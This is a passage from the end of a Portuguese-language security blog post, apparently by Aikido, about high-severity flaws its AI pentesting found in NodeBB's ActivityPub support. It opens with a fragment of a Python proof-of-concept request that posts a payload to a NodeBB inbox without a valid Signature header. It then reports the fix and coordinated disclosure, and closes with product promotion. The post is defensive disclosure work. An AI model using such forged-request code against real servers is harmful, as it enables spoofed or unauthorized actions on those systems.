r = requests.post('https://nodebb.local/category/1/inbox',
                  headers=headers, json=payload)

Este problema foi resolvido (8e98325) através da verificação sistemática do cabeçalho «Signature» nas solicitações POST.

Conclusão

Com o avanço da IA, a velocidade dos testes de penetração está a aumentar cada vez mais. De repente, é possível contratar um grupo de 400 pequenos pentesters para analisar a sua aplicação pelo preço de um teste de penetração normal. Os programadores podem continuar a lançar código rapidamente, enquanto os agentes de teste de penetração baseados em IA acompanham o ritmo e testam novas funcionalidades em busca de problemas de segurança, mesmo os mais pequenos e complexos. Na Aikido, disponibilizamos o AutoFixes e novos testes fáceis de realizar para ajudar a corrigir quaisquer vulnerabilidades identificadas.

A NodeBB respondeu muito rapidamente ao nosso relatório, o que apreciámos imenso. Pediram-nos esclarecimentos sobre alguns aspetos e pudemos dar o nosso feedback sobre as correções, para garantir que não houvesse formas fáceis de contornar o problema.

Uma última lição a reter. Neste teste de penetração, identificámos inúmeras vulnerabilidades na implementação do ActivityPub e consideramos que esta conclusão pode ser generalizada e aplicada a mais aplicações. Sempre que existem várias formas de fazer as coisas, a forma mais comum ou integrada é, muitas vezes, altamente segura, enquanto a forma alternativa está repleta de erros. Certifique-se de que todas as suas integrações externas e vias alternativas são tão seguras quanto as principais!

pentest de IA nossa pentest de IA descobriu isto por si própria. Se pretende testes de penetração de alta qualidade e rápidos na sua aplicação, conheça o conjunto de ferramentas de testes de penetraçãoAikido.

Compartilhar:

https://www.aikido.dev/blog/eight-high-severity-vulnerabilities-nodebb

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.